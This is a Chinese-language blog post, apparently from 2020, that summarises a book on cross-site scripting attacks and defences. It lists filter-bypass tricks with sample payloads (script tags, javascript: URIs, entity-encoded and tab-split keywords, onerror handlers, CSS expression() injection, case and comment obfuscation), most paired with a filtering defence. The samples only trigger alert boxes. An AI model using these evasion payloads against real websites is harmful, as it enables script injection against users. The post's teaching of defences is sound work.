XSS构造剖析

 参考:邱永华《XSS跨站脚本攻击剖析与防御》

一 绕过XSS-filter

1.利用<>标记注射Html/JavaScript
比如:<script>alert('XSS');</script>
防御:过滤和转义“<>”或<script>等字符

2.利用HTML标签属性执行XSS
比如:<img src=“javascript:alert('XSS');”>
防御:过滤JavaScript、VBScript等关键字

3.利用空格回车Tab绕过XSS Filter的黑名单限制
比如:<img src=“javas cript:alert(/XSS/)” width=100> (注意javas和cript之间的间隔是由Tab键添加的)

4.对标签属性值转码
比如:将<img src=“javascript:alert('XSS');”>替换成<img src=“javascrip&#116&#58alert(/XSS/);”>
其中t的ASCII码为116,用&#116表示,:则表示为&#58
防御:过滤&#\等字符

5.产生自己的事件
<input type="button" value="clickme" onclick="alert('clickme')">
<img src="#" onerror=alert(/xss/)>

6.利用CSS跨站剖析
示例1:
<div style="background-image:url(javascript:alert('XSS'))">
<style>
body {background-image:url("javascript:alert('XSS')");}
</style>
防御:过滤<style>标签,同时对style属性的值进行过滤
示例2:
<img src="#" style="XSS:expression(alert('XSS'));">
此外,CSS样式表还可以直接从其他文件进行引用,比如使用<link>标签引用或者使用@import将其导入。
防御:对样式表中的expression、javascript、import等敏感字符机芯过滤。

7.扰乱过滤规则
比如转换大小写、大小写混淆、双引号改为单引号或者不使用引号、插入/**/或者\或者\0等混淆字符(因为这些字符会被浏览器忽略)欺骗过滤器、将CSS中的关键字进行转码等。

二 利用字符编码

比如unicode、escapes、十六进制、八进制等编码形式
或者使用其他编码/加密技术——JScript Encode和VBScript Encode。

三 拆分跨站法

核心:将跨站代码分成几个片段,然后再使用某种方式将其拼接在一起执行

posted @ 2020-01-15 14:25  zhengna  阅读(269)  评论(0编辑  收藏  举报